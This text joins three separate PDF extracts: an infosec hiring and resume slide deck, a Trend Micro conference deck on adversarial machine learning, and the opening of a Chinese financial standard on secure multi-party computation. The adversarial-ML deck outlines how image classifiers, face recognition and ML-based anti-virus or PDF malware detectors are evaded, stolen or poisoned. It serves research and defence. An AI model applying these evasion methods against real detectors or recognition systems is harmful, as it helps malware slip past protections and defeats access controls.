sensitivities of the applications in your questions ● Creating the interviews ○ Balancing fact based questions vs essay/short ○ Does your team share questions? ○ How do you divvy up who asks what ■ Do you avoid duplication? Defining Key Areas ● How do you define key areas/topics? ● Testing/evaluating for specific skills? Or more General? ● How do you match up skills to the Position description, then the areas to question per candidate? Questioning Compensation ● Salary history ○ You know the range, pay them what they are worth ○ Incentives ■ Flexible work schedule ■ Work from home ■ Training budget Application Tracking Systems (ATS) ● Ensure the ATS you use doesn’t require PII/NPPI ○ SSANs in BrassRing ● Test and validate your application process ○ Get a friend to apply, do they make it through the process? Past HR at least? ● Avoid the common application fails ○ The initial impressions last [Insert ATS fail screenshot examples here] [Redacted to protect the guilty] Hack your resume ● Experience reflects your background and the role ○ No BS, No stretching the truth ○ Careful on the buzzword bingo ■ Enough to match the role in the big HR ■ Know what the terms mean Hack your Resume ● Tailor your resume to make it relevant to the employer/hiring manager ● Have your resume/CV as long as it needs to be. ○ Is your resume long enough so it reaches where it's supposed to go? ● 1 or 2 page resume, and a full CV ○ Different hiring managers, different preferences Hack your Resume ● File names make a difference ○ Distinguish yourself from other candidates ○ Managers make mistakes, and lose documents; good labeling helps you out. ● Sanitize the metadata ○ The downloaded template has a surprise... Application Tracking Systems ● There are different Application Tracking Systems (ATS) ○ Heavyweight application systems with data mining looking for keywords & the basic application management ■ Taleo, iCIMS, SuccessFactors, PeopleSoft, Bullhorn, Brassring ○ Lightweight application tracking ■ Workday, Jobvite, SilkRoad, LinkedIn, SmartRecruiters Heavyweight ATS ● Be one of the first to apply ● Fill out every applicable text box ● Resume/CV formatting for computer readable ○ No graphics or special characters ○ Web safe fonts ○ Spell check ○ Skills section as complete and truthful as possible Email Applications ● Quick and easy to apply, easy to get lost ● Subject line is important ● Include a cover letter in the body of the email ● Digital signature is a bonus USAJobs Applications ● Government roles have dedicated websites for applications ○ For USA, USAJobs ■ Mostly, some .GOV still have their own ● Similar to the heavyweight ATS ○ Unwieldy ○ Be sure to answer the qualifier questions ○ Review the application process for the surprise essay questions Customised Resumes ● The full CV with buzzword bingo for the heavyweight application systems ○ Import, then tweak details ● The 1 or 2 page resume for human digestion ○ Include with application as well Don’t Hack With Your Resume ● Submit resumes as text, RTF, and/or PDF ● Do not insert malicious code or trackers into your resume or cover letter ○ Nor should you conduct a penetration test on the application systems Security Clearances ● Do not belong on the resume ● Do not belong on your social media profiles ● This information makes you a bigger target ○ And look like a moron ● DSS/OPM does not look kindly on this ○ Read the NDA you signed ○ Does not matter that the APT$ stole it all ● The proper answer: “That information can be verified with a conversation with your Personal Security Officer.” Time to Communicate (Hackers) ● Use a professional looking email address ○ Don’t send it from [email protected] ○ Caution on Google data mining ○ Best keep personal & work email separate ■ GTFG email address Time to Communicate (Hackers) ● Cover letter ○ Why do you want the role? ○ What role are you applying for? ○ No letter indicates you are not interested, or just spamming applications ○ Just five (5) minutes on why this role sounds interesting makes a difference Use Your Network ● Reach out to your network regarding specific companies and roles ○ Social media ■ Even a short note to the recruiter has gotten the screening interview How To Meet Hiring Managers ● Involvement in ○ Local IT & InfoSec communities/Meetups ○ Mailing lists & forums ○ Conferences ● Online communities ○ Reddit ○ Closed/vetted InfoSec and DFIR lists, SANS Working With Recruiters ● There are different types of recruiters ○ Technical recruiters ■ Company ■ Agencies (boutique and otherwise) ○ Agencies just looking for a body to fill a seat ■ Spamming of the PDs ■ Unable to answer follow-up questions ● Do your research on recruiters like you would potential companies to work for ○ Build relationships with good ones Understand the odds ● You could be one of tens or a hundred candidates ○ Connect with those involved before the search ○ Try to not get discouraged ○ Diversify your applications ○ Location ■ Depth of the labor pool ■ Who else applied for the role Keep Perspective ● Have patience ● Keep in mind the other requirements and stressors the hiring managers have ○ Outside influences on the process ● Get feedback from mentors & peers Core Problem aka Opportunity #3 THE INTERVIEW The Interview The interview process is hard. But when you compound that with the nervousness of trying to get a job in your “dream field” and the fact that most of us are weird shits who do weird shit during the day, the interview can be anxiety-inducing. There are a lot of little things that can be done by both sides to make it a little bit less awful. Hiring Managers ● “Stump the monkey” isn’t fun for anyone ○ Trick questions, the Google stumpers ○ Nor does it convey how good of an analyst they are or could be ■ How the candidate processing information to mitigate the threat/risk/vulnerability ■ Not how fast they can recite knowledge ○ Could dissuade a good candidate from accepting an offer Stump the Monkey ● The intent is to find individuals for your team, not prove how smart you are - or how dumb they are ○ Lasting impression on you & company ■ See the Glassdoor Interview ratings & feedback ○ Sometimes there is more than one answer ■ With the answer different than yours ● See Wheaton’s Law https://dontbeadickday.com/ July 29 Question Bias ● So what if the candidate does not know how to work with oak ○ Can they learn to work with mahogany? ● Avoid close-ended questions ○ “Have you worked with Oak”? ○ “What is the UDP flag on a DNS request that fails” ○ “What protocol uses port 0” Toolset Bias ● Best to use situational, exploratory conversations ● What are some of the ways you have used wood to address vulnerabilities? ● See: If Carpenters Were Hired Like Programmers http://www.jasonbock. net/jb/News/Item/7c334037d1a9437d9fa650 6e2f35eaac Hiring Bias ● Stop passing judgement ○ Piercings and tattoos no longer mean that they’re ex-convicts ● Don’t be a dick (Wheaton’s Law) ○ People get nervous and forget things ○ So what if they self-identify as a hacker? Reviewing resumes & length of time in a role ● Why does the length of time in a role matter? ○ Why this concern on ‘job hopping’? ○ Most are out of the candidate's control ■ Startups ■ Company failure or change of direction ■ Contract work ■ Layoff, unemployment ● Put yourself in their place Reviewing resumes & length of time in a role ● Just because unemployed does not make them untouchable ○ Put aside your bias ○ Listen to the reason(s) and don’t assume they’re excuses ● Discrimination Reviewing resumes & length of time between roles Not all gaps between jobs should be a (bad) reflection on the candidate ○ Family illnesses ○ School, personal development ○ Recession (yes, there still is one) ○ Personal time, recuperation from last role ■ Toxic work environment/manager ■ “Mourning period” after getting laid off from a job/company they really enjoyed being a part of (or needed) The InfoSec Question ● Can the candidate explain how you can reduce Risk by affecting Vulnerability, Threat, Asset or Cost? ○ Most technical folk focus on Vulnerability. ○ Most nontechnical folk focus on Threat. ○ We need to reduce Vulnerability and Threat, but also work on Cost. Hiring Excuses Commonly heard excuses: ● “Not technical enough” ● “Not a cultural fit” In your team interviews, use a scoring system and average the scores to help eliminate bias. We need to stop using culture fit as a crutch for not hiring someone. Culture Fit Excuse ● Think about whether you would want to work with this individual, but do not use it as an excuse when someone ”better” comes along. ● Do you think the person can do the job - or can learn? ● Diversity of the team ○ a good thing. Trifecta ● Ability to learn (and want to learn skills) ○ This is critical ● Passion. What is this person passionate about? ○ Learning? Figuring things out? Solving problems? That is huge. ● Ability to be wrong/fail, and to do so well. We will all fail. The key is, if you fail, can you fail well? Can you learn and grow from it, or do you hide it and try to blame others? Hacker Appearance ● Leave the ski mask at home ● Appropriateness ○ A bank vs. a startup? ○ East or West coast? Southwest? ● In your recon phase, determine the daily dress and take it up a notch Hacker conduct in interview ● Don’t fucking swear ● Watch your personal sharing & stories ● Personal hygiene ● Personal space ● Manners still count ○ With everyone #pantslessness Hack the Interview ● Research on company and interviewees ○ Glassdoor ■ Help by leaving reviews, use Bugmenot & public WiFi ○ Wikipedia ○ Crunchbase ○ Social media ■ LinkedIn, with your alternate profile & proxy ○ Review rating Web sites, GTFG Knowing Your Target ● Understand the target organization and hiring manager ○ Their product, values ● Able to explain why & how you are the best person for the role and the team at that company ● Have your three bullets and stick to them Hackers Question Everything ● From your research, have questions to ask them ○ Get them to sell you the role & the company ○ This is an interview on both sides of the table ■ Would you want to work for the manager? ■ Do you like the company, what they produce and stand for? Question Everything ● Have appropriate answers for every InfoSec related interview question online ● “I don’t know” is not an answer ○ How would you figure it out? ● Your judgement call on calling out interviewers regarding inappropriate questions A Question of Timing ● Did the interviewees give you enough time to ask questions? ○ Or was it the token five minutes at the end of their grilling? ○ Was it a conversation between peers, or individuals in the industry - or a grilling? Core Problem aka Opportunity #4 POST-INTERVIEW Post-Interview A lot of folks can not seem to find the balance between being aloof about not getting the job and acting like overly attached girlfriend. Hiring Managers ● Don’t leave people hanging ○ Send an email or call with status updates ○ Contact within 3-4 weeks at maximum ● Provide feedback ○ If HR will allow ○ Perhaps in a non-official capacity instead? ○ Builds relationships within the community ○ Helps improve the pool of candidates ■ Lets us determine what you need/want Provide Feedback ● Glaring resume issues/errors ● Topics to review ○ Tools, Techniques, Procedures (TTPs) ○ Protocols ● Interview tips ○ Talk more/don’t talk as much ○ Etiquette Hackers, Follow Up ● Send a “thank you” email to all you talked and interacted with. Consider snail mail card ○ Best not send connection requests on social media Hackers ● Follow-up ○ When should you reach out if you have not heard back? ○ Don’t panic ■ It may take a while to hear back ● Be realistic in your expectations ○ Know the local/regional/national market Social Network ● Leverage your network to provide insight & potential references to the company/hiring manager ● How do you get previous supervisors as references? ● DO NOT send social media connection requests ○ Creeepy…. ● Leave feedback on Glassdoor? Employers forget that the impression they leave on their employees, past & present, influences income, rep and biz dev in ways unknown. @kjvalentine Thanks (Credits) @StartUpJackson, @RebeccaSlatkin, @TylerSchmall roadtociso.wordpress.com - Jesika McEvoy jasonbock.net - Jason Bock @kjvalentine John Omernik aka Chief Ten Beers Winn Schwartau All those applications we submitted, those folks we interviewed with, and those we have interviewed. Q&A TUVM @AcademicsSay
pdf
Machine Learning Protect against tomorrow’s threats Adversarial Machine Learning And Several Countermeasures Trend Micro ch0upi miaoski 7 Dec 2017 Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats ch0upi • Staff engineer in Trend Micro • Machine Learning + Data Analysis • Threat intelligence services • NIPS • KDDCup 2014 + KDDCup 2016: Top10 • GoTrend: 6th in UEC Cup 2015 Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats miaoski • Senior threat researcher in Trend Micro • Threat intelligence • Smart City • SDR • Arduino + RPi makers • 貓奴 Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats 4 Outline • Cheating machine learning? • Attacking theories and practices • Countermeasures • Conclusion Machine Learning Protect against tomorrow’s threats CHEAT MACHINE LEARNING MODELS Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats We Were Good Guys ... Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Even NVIDIA... Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats ML-Based Anti-Virus? Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats ML-Based Anti-Virus? Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats CSOs Explained Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats But Still ... Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Rescan Makes It Worse Compiler Hello World (no debug) Hello World (debug) Nothing (no debug) Nothing (debug) Visual Studio 2017 Cylance, Jiangmin Cylance, Cyren, F-Prot, Sophos ML, SentinelOne Static ML Cylance, Jiangmin Cylance, Cyren, F-Prot, Sophos ML, SentinelOne Static ML MingW64 Good Good Good Good Cygwin x86_64 Baidu, Cylance Baidu Baidu, Cylance Baidu Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats ML is Prosperous Taigman et al. (2014) DeepFace: Closing the Gap to Human-Level Performance in Face Verification Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats ML Drives https://www.tesla.com/sites/default/files/images/videos/tesla_autopilot_2_video.jpg Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Machine learning has its particular vulnerabilities. Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats NIPS Machine Learning Protect against tomorrow’s threats THEORIES AND PRACTICES Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Methodology • Evasion • Black box • White box • Model stealing • Poisoning Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Methodology • Evasion • Black box • Random • Evolutionary algorithms (GA) • White box • Model stealing • Poisoning Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box • No model • Only predict interface & result Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box: Random Noise Attack • Add some white noise? ? Not effective for most model random.normalvariate(0, 5) Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box: Iterative Random Attack Add some noise Repeat hundreds times Select the best one Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box – Random – STOP • Inspired by Evtimov et al. (2017) • We use iterative random attack instead • Difficult: STOP sign  something else Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box – Random – STOP • Evtimov et al. (2017)  80 KM/h Hacked in iteration 5 Predicted Labels: 39 ['Keep left'] (confidence = 73%) 39 - Keep left 14 - Stop 13 - Yield 6 - End of speed limit (80km/h) 41 - End of no passing Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box – Random – Faces • VGG Face and @mzaradzki N Square Size Success? 10 4x4 Adam Driver 10 4x3 Adam Driver 10 3x3 Adam Driver 10 2x2 Adam Driver (difficult) -- Cat face Failed 10 1x1 Failed* Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box – Random – Faces Adam Driver Aamir Khan Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box – Genetic Algorithm • Effective random search • Inspired by the process of natural selection • Belongs to evolutionary algorithms (EA) • Solving optimization and search problems Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Black Box – Genetic Algorithm • Selection • Crossover • Mutation • Evaluation Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Methodology • Evasion • Black box • White box • FGSM • One-step target class • Model stealing • Poisoning Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats White Box • With all model detail • DNN architecture, weights Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Fast Gradient Sign Method • simple and computationally efficient • non-target attack • Goodfellow et al. (2014) Xadv: Adversarial image X: Original image 𝜖: perturbation level 𝛻𝑋 𝐽(𝑋, 𝑦): gradient 𝑋𝑎𝑑𝑡 = 𝑋 + 𝜖𝑠𝑖𝑔𝑛(𝛻𝑋𝐽 𝑋, 𝑦𝑡𝑟𝑡𝑑 ) Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Attack a Linear Model • Introduction to FGSM Fei-Fei Li, Andrej Karpathy, Justin Johnson, Lecture 9-72, 2016 Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats White Box Attack Methods • Fast gradient sign method (non-target, one step) • One-step target class methods (target, one step) • Basic iterative method (non-target, multiple steps) • Iterative least-likely class method (target , multiple steps) Kurakin et al., ADVERSARIAL MACHINE LEARNING AT SCALE. ICLR 2017 Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats White Box – FGSM – Trash Can label: 412 (ashcan, trash can), certainty: 37.47% label: 899 (water jug), certainty: 10.85% label: 503 (cocktail shaker), certainty: 7.98% label: 412 (ashcan, trash can), certainty: 87.68% label: 463 (bucket, pail), certainty: 3.08% Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats White Box – One-Step Target Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Methodology • Evasion • Black box • White box • Model stealing • Poisoning API Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Model Stealing Florian Tramer et. al., Stealing Machine Learning Models via Prediction APIs, Usenix Security Symposium 2016 Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Model Stealing • Model is data • Model is asset • Train a local DNN for Black box attack • Data privacy Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Model Stealing: Adversarial Attack • Transferability Property • Train a local model for attack • Effective data augmentation Ian Goodfellow, Practical Black-Box Attacks against Machine Learning, 2017 Model A Model B Adversarial Samples Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Model Stealing: Data Privacy • How to re-build your face if we have the model? Florian Tramer et. al., Stealing Machine Learning Models via Prediction APIs, Usenix Security Symposium 2016 Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Methodology • Evasion • Black box • White box • Model stealing • Poisoning Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Poison Attack • Crowdsourcing • Amazon Mechanical turk • Mis-labeling • Online training • Microsoft chatbot: Tay • User feedback Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Real World Adversarial • Evading Against PDF ML • Auto-pilot cars • Access control w/ face recognition Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Evading Against PDF ML • Genetic algorithm to generate adversarial sample • Sandbox to ensure malicious behavior kept Weilin Xu, Yanjun Qi, and David Evans. Automatically Evading Classifiers A Case Study on PDF Malware Classifiers. Network and Distributed Systems Symposium 2016 http://evademl.org/ Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Auto-pilot Cars Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Access Control w/ Face Recognition Machine Learning Protect against tomorrow’s threats COUNTERMEASURES Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Countermeasures • Ensemble & Stacking • Retrained model • Denoiser • Prevent Model Leakage Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Ensemble & Stacking • Layer protection Xgboost SVM CNN RNN LR LDA Layer 1 Layer 2 Layer 3 Input Data Prediction Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Retrained Models • Distortion • Retrain with noisy sample • Randomization layer in DNN (NIPS 2nd) • Generative Adversarial Networks (GAN) Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Denoiser • Use denoise technologies from image processing • Train a DNN denoiser to reduce the noise Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Prevent Model Leakage • Avoid Model stealing • Increase the challenge of black box attack • Keep some info secret or add some noise • Randomization and disinformation • Adversarial sample detection Machine Learning Protect against tomorrow’s threats CONCLUSION Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats Conclusion • Know the limitations and weakness of your model • Integrate adversarial machine learning into product development cycle • Improve ML • QA process • Trend Micro is working on bypassing anti-virus with ML in order to make our product robust Machine Learning Protect against tomorrow’s threats Machine Learning Protect against tomorrow’s threats References • Evtimov et al. (2017) Robust Physical-World Attacks on Deep Learning Models • https://iotsecurity.eecs.umich.edu/#roadsigns • Nguyen et al. (2015) Deep Neural Networks are Easily Fooled: High Confidence Predictions for Unrecognizable Images. IEEE CVPR ‘15. • Kurakin A., Goodfellow I.J., Bengio S. (2017) Adversarial Examples in the Physical World. • https://github.com/tomaszkacmajor/CarND-Traffic-Sign-Classifier-P2 • https://aboveintelligent.com/face-recognition-with-keras-and-opencv- 2baf2a83b799 • https://github.com/davidsandberg/facenet • http://www.vlfeat.org/matconvnet/pretrained/#face-recognition • https://github.com/mzaradzki/neuralnets/tree/master/vgg_faces_keras Machine Learning Protect against tomorrow’s threats USE THE SOURCE, LUKE! https://github.com/miaoski/hitcon-2017-adversarial-ml
pdf
ICS 35.240.40 CCS A 11 JR 中 华 人 民 共 和 国 金 融 行 业 标 准 JR/T 0196—2020 多方安全计算金融应用技术规范 Secure multi-party computation financial application technical specification 2020 - 11 - 24 发布 2020 - 11 -24 实施 中国人民银行 发 布 JR/T 0196—2020 I 目 次 前言 ..................................................................................II 1 范围 ................................................................................1 2 规范性引用文件 ......................................................................1 3 术语和定义 ..........................................................................1 4 缩略语 ..............................................................................3 5 概述 ................................................................................3 5.1 MPC 参与方及工作时序 .............................................................3 5.2 应用目标 ........................................................................4 5.3 总体要求 ........................................................................5 6 基础要求 ............................................................................5 6.1 数据输入 ........................................................................5 6.2 算法输入 ........................................................................6 6.3 协同计算 ........................................................................6 6.4 结果输出 ........................................................................7 6.5 调度管理 ........................................................................7 7 安全要求 ............................................................................7 7.1 协议安全 ........................................................................7 7.2 隐私数据安全 ....................................................................8 7.3 认证授权 ........................................................................8 7.4 密码安全 ........................................................................8 7.5 通信安全 ........................................................................8 7.6 存证与日志 ......................................................................9 8 性能要求 ............................................................................9 附录 A(规范性) MPC 典型应用分类 .....................................................10 A.1 联合查询 .......................................................................10 A.2 联合建模 .......................................................................10 A.3 联合预测 .......................................................................10 附录 B(资料性) MPC 典型应用场景 .....................................................12 B.1 基于 MPC 的生物特征识别 .........................................................12 B.2 基于 MPC 的联合风控 .............................................................12 附录 C(资料性) 通用 MPC 系统参考架构 .................................................14 JR/T 0196—2020 II 前 言 本文件按照GB/T 1.1—2020《标准化工作导则 第1部分:标准化文件的结构和起草规则》的规定起 草。 请注意本文件的某些内容可能涉及专利。本文件的发布机构不承担识别专利的责任。 本文件由中国人民银行提出。 本文件由全国金融标准化技术委员会(SAC/TC 180)归口。 JR/T 0196—2020 1 多方安全计算金融应用技术规范 1 范围 本文件规定了多方安全计算技术金融应用的基础要求、安全要求、性能要求等。 本文件适用于金融机构开展多方安全计算金融应用的产品设计、软件开发。 2 规范性引用文件 下列文件中的内容通过文中的规范性引用而构成本文件必不可少的条款。其中,注日期的引用文件, 仅该日期对应的版本适用于本文件;不注日期的引用文件,其最新版本(包括所有的修改单)适用于本 文件。 GB/T 18391.1—2009 信息技术 元数据注册系统(MDR) 第1部分:框架 GB/T 32400—2015 信息技术 云计算 概览与词汇 3 术语和定义 下列术语和定义适用于本文件。 3.1 多方安全计算 secure multi-party computation;MPC 一种基于多方数据协同完成计算目标,实现除计算结果及其可推导出的信息之外不泄漏各方隐私数 据的密码技术。 注:多方安全计算常采用的技术有混淆电路、不经意传输、秘密分享、同态加密等。 3.2 参与方 party 参与多方安全计算的自然人或法人。 [来源:GB/T 32400—2015,3.1.6,有修改] 3.3 计算因子 computation factor 基于多方安全计算输入数据产生的数据。 注:包括输入因子、输出因子和中间因子:输入因子是指数据提供方执行数据输入过程后可供计算方执行后续计算 的数据;输出因子是指计算方执行计算后,返回给结果使用方用以恢复最终计算结果的数据;中间因子指计算方中 间计算过程中产生的数据。 3.4 数据输入 data input JR/T 0196—2020 2 采用秘密分享、混淆电路、同态加密等技术对数据提供方提供的隐私数据进行处理,使数据转化为 输入因子的过程。 3.5 数据输出 data output 采用秘密分享、混淆电路、同态加密等技术对输出因子进行处理从而获得计算结果的过程。 3.6 计算节点 computation node 计算方执行多方安全计算协议或算法逻辑的软件、计算机、虚拟计算机或集群。 注:一个计算方对应一个计算节点和管理域,对外提供一个交互接口,如IP地址、端口等。 3.7 安全模型 security model 对参与方行为模式所做的假设。 注:不同的MPC协议可基于不同的安全模型,安全模型可分为半诚实模型和恶意攻击模型两类。半诚实模型是参与 方在接触和处理其他参与方隐私数据时,在严格遵守协议规范基础上,尽其所能地从接触和处理的数据中挖掘 出有效信息;恶意攻击模型是参与方可能做出任何行为,尽其所能地获得关于隐私数据的有效信息,如背离协 议或与他人串通等,这样的参与方也称为不诚实参与方。 3.8 安全参数 security parameter 用以衡量多方安全计算协议安全强度或破解难度的一组参数。 注:MPC安全参数主要包括不诚实门限、统计安全参数、计算安全参数。不诚实门限是多方安全计算协议允许合谋 的不诚实参与方的最大值,当该值小于参与方数量的一半时称协议是诚实大多数的,否则称协议是不诚实大多 数的;统计安全参数是一个整数l,根据输入数据产生的计算因子的概率分布,与不知道输入数据随机模拟的计 算因子的概率分布,两者统计上不可区分(统计距离不高于2 -l);计算安全参数是一个整数k,表示多项式时 间攻击者破解多方安全计算协议的计算复杂度为O(2 k)。 3.9 数据集 dataset 一个或多个数据提供方参与多方安全计算的数据集合。 3.10 元数据 metadata 定义和描述其他数据的数据。 [来源:GB/T 18391.1—2009,3.2.16] 3.11 计算引擎 computation engine 各计算方通过网络连接形成的执行多方安全计算的一组计算节点。 3.12 隐私数据 private data JR/T 0196—2020 3 数据提供方输入的数据、结果使用方获得的数据,以及算法参数和模型参数中需要被保护的数据。 3.13 有效位数 enob 对没有小数位且以若干个零结尾的数值,从非零数字最左一位向右数得到的位数减去无效零(即仅 为定位用的零)的个数。对其他数值,从非零数字最左一位向右数而得到的位数。 3.14 MPC 精度 MPC accuracy 用于衡量多方安全计算结果精确度。 注:与相同数据明文计算结果相比,连续相同有效位数越多精度越高。对于计算结果存在多个数值的情况,可根据 实际应用度量每个数值的精度或将多个数值拟合成一个数值后再计算精度。 3.15 正确性 correctness 用于衡量在一定MPC精度范围内,多方安全计算与相同数据明文计算结果的一致性。 4 缩略语 下列缩略语适用于本文件。 CA:认证中心(Certification Authority) RA:注册中心(Registration Authority) TPS:每秒处理的事务数(Transactions Per Second) 5 概述 5.1 MPC 参与方及工作时序 5.1.1 MPC 参与方 MPC 参与方说明如下: a) 任务发起方:触发MPC任务,在任务执行前完成任务资源配置,并对资源到位情况进行核实。 b) 调度方:配置计算任务,管理和协调其他参与方执行任务。 c) 算法提供方:为MPC提供计算逻辑和算法参数,当算法参数有保护要求时,应将该算法参数视 为隐私数据,该算法提供方视为数据提供方。 d) 数据提供方:为MPC提供所需隐私数据,通过MPC数据输入处理将隐私数据转化为输入因子并发 送给计算方。一个MPC计算任务中数据提供方的数量大于等于2。 e) 计算方:为MPC提供算力支持,计算方接收数据提供方的输入因子并进行计算,计算结束后将 输出因子发送给结果使用方。一个MPC计算任务中计算方的数量应大于等于2,并不能由同一实 体承担多个计算方角色。 f) 结果使用方:接收MPC计算结果,一个MPC计算任务的结果使用方可以有1个或多个。 5.1.2 工作时序 JR/T 0196—2020 4 MPC任务工作时序包括任务创建、任务分配、数据输入、任务计算、结果解析等步骤,见图1。MPC 任务工作时序具体说明如下: a) 任务创建: 1)任务发起方配置、核实MPC任务计算所需资源,发起计算任务。 2) 数据提供方对所有的数据使用进行授权,任务发起方和数据提供方为同一实体的情况除外。 数据提供方可委托调度方对数据进行使用授权,也可在任务创建前对数据进行预授权。数 据使用授权和后续任务分配阶段可合并执行。 b) 任务分配: 1)调度方验证任务请求信息的合法性,包括身份验证和数据授权的合法性。 2)验证通过后生成任务配置信息,发送给数据提供方、计算方和结果使用方。 3)数据提供方、计算方和结果使用方收到任务配置信息后进行验证。 4)各参与方保存收发的任务配置信息。 c) 数据输入: 1)数据提供方从数据源读取数据并生成输入因子,通过安全通道发送给指定计算方。 2)数据提供方保存任务配置信息,并对发送的输入因子进行存证。 d) 任务计算: 1)计算节点接收各数据提供方的输入因子,按照MPC协议进行协同计算生成输出因子。 2)将输出因子发送至结果使用方。 e) 结果解析: 1)结果使用方对输出因子进行解析得到计算结果。 2)对结果进行存证。 图 1 MPC 工作时序图 5.2 应用目标 MPC应满足数据隐私性、数据合法性、计算结果正确性、计算性能可接受性等要求,具体要求如下: a) 各参与方的隐私数据不应被其他参与方获取或推知,结果使用方可从计算结果推导出的信息除 外。 JR/T 0196—2020 5 b) 计算过程中不应出现其他参与方的隐私数据原文。 c) 各参与方应按照计算任务约定的角色参与MPC计算。 d) 计算任务所使用的隐私数据应事先得到相应数据提供方的授权。 e) 计算结果应满足正确性要求,并只被结果使用方获取。 f) 计算性能应满足具体应用需求。 5.3 总体要求 MPC金融应用总体要求包括基础要求、安全要求和性能要求三部分,见图2。 基础要求包括数据输入、算法输入、协同计算、结果输出及调度管理等要求,分别主要针对数据提 供方、算法提供方、计算方、结果使用方、调度方。 安全要求包括协议安全、隐私数据安全、认证授权、密码安全、通信安全、存证与日志等要求。 性能要求对MPC金融应用提出了计算延时、吞吐量、计算精度等性能指标要求。 图 2 MPC 金融应用总体要求 6 基础要求 6.1 数据输入 数据提供方数据输入具体要求如下: a) 数据提供方应将隐私数据转化为输入因子,提供给指定计算节点,并确保在设定的安全模型下 无法通过输入因子推算出输入数据。 b) 数据提供方应对数据源、数据集、元数据等进行统一管理: 1)数据源管理: ——应支持不同类型的数据源接入,包括但不限于数据库和文件,数据库类型如关系型数 据库、列式数据库、数据仓库等,文件类型如 txt、csv、xml、key-value 等; ——可扩展支持新的数据类型。 JR/T 0196—2020 6 2)数据集管理: ——应支持对数据集的添加、删除操作; ——应支持指定数据集的使用方、用途和用量; ——应支持数据集接入状态查询功能,展示所有数据集接入任务的状态; ——应支持监控数据集参与计算状态的功能,如正在参与计算、使用完毕等。 3)元数据管理: ——应支持使用元数据描述数据集; ——应支持元数据查询功能,包括名称、标记、描述、大小、样例、类型等信息; ——应支持向数据需求方提供数据集的元数据信息。 c) 应具备数据存储格式转换、数据预处理等功能。 d) 可在任务执行前取消数据的使用授权。 e) 应对发送数据进行存证。 6.2 算法输入 算法输入为金融应用提供算法逻辑和输入方式,并对算法逻辑进行管理,具体要求如下: a) 算法逻辑类型: 1)应支持常见的查询操作,如 Select、Sort、Join 等。 2)应支持常见的统计分析算法,如均值、方差、中位数等。 3)应支持常用的机器学习算法,如线性回归、逻辑回归、神经网络、K-Means、PCA、决策树、 XGBoost 等。 4)应支持梯度下降等常见的机器学习模型优化算法。 b) 算法输入方式: 1)应支持以一种或多种常用的算法逻辑语言输入,如 C/C++、Python、Java 等。 2)应支持将算法中的重要参数作为数据进行输入,如查询条件、机器学习中的模型参数等。 3)应支持常见输入交互方式,如 Web 网页、命令行、OpenAPI 等。 4)应支持算法在线编写、修改、调试、提交等。 c) 算法逻辑管理: 1)将算法逻辑进行处理后应交给 MPC 引擎进行运算。 2)对输入的算法逻辑应能够进行列表显示、运行状态查看、删除等操作。 通用MPC能够满足上述所有要求。专用MPC根据金融应用需求选择满足部分要求。 不同MPC金融应用类型应符合附录A的要求;MPC典型应用场景见附录B;通用MPC系统参考架构见附 录C。 6.3 协同计算 应由多个MPC计算节点组成MPC计算引擎,协同计算实现MPC协议。MPC计算节点提供基础运算,并能 够通过基础运算组合实现复杂运算,具体要求如下: a) 基础运算: 